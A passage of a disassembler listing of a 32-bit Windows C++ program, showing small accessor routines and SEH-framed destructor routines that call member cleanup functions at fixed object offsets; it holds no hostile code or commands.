arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4167A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167C0	proc near		; CODE XREF: sub_401F8Cj
		mov	eax, [ecx]
		retn
sub_4167C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167E0	proc near		; CODE XREF: sub_4017DFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4167E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416800	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416800	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416830	proc near		; CODE XREF: sub_401866j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416830	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416850	proc near		; CODE XREF: sub_401E15j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020EA
		add	esp, 8
		retn	8
sub_416850	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416880	proc near		; CODE XREF: sub_401401j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_416880	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168A0	proc near		; CODE XREF: sub_401618j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4168A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168C0	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
		retn
sub_4168C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168E0	proc near		; CODE XREF: sub_401E74j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4168E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416910	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41692B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41692B:				; CODE XREF: sub_416910+11j
		retn
sub_416910	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416960	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41697B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41697B:				; CODE XREF: sub_416960+11j
		retn
sub_416960	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4169B0	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4169CB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4169CB:				; CODE XREF: sub_4169B0+11j
		retn
sub_4169B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449118B9h
		dd 0B436E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 416A6068h, 116CE800h, 0C3590002h, 90909090h,	4 dup(0CCCCCCCCh)
		dd 449118B9h, 0B1EEE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416A80:				; CODE XREF: ___:00401C58j
		push	0FFFFFFFFh
		push	offset loc_43B2E1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021FD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401F00
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_401771
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_402013
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401E06
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_401889
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F46
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B3B
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017DA
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018D9
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401ECE
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402239
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017AD
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A32
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C5
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401EA1
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014FB
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401CA3
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401938
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_401447
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416CF0:				; CODE XREF: ___:00401E60j
		push	0FFFFFFFFh
		push	offset loc_43B4C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_4020BD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015E6
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_402018
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_401A00
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_401587
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_40164F
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401780
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_40169F
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_40182F
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016BD
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_40141F
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D25
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A91
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CB7
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402121
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_40157D
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_401799
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_40142E
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_40142E
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_40142E
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_40142E
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401B0E
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416F70	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_416F70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B1D
sub_416F70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416FE0	proc near		; CODE XREF: sub_401938j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_416FE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40208B
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40208B
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40208B
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40208B
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40208B
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AE6
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AE6
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AE6
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AE6
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AE6
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AE6
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AE6
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AE6
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AE6
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AE6
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AE6
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AE6
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AE6
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AE6
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AE6
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AE6
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AE6
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AE6
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AE6
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AE6
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AE6
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AE6
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AE6
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AE6
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AE6
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AE6
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AE6
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AE6
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AE6
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AE6
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AE6
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AE6
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_416FE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417500	proc near		; CODE XREF: sub_4014FBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417500	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4175A0	proc near		; CODE XREF: sub_401EA1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4175A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4175A0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417670	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417670	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417730	proc near		; CODE XREF: sub_402239j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417730
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417730	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4177F0	proc near		; CODE XREF: sub_401ECEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4177F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4177F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4178B0	proc near		; CODE XREF: sub_4018D9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4178B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4178B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417920	proc near		; CODE XREF: sub_4017DAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417920
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417920	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417990	proc near		; CODE XREF: sub_401B3Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417990	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A00	proc near		; CODE XREF: sub_401F46j
		add	ecx, 4
		jmp	sub_401023
sub_417A00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A20	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



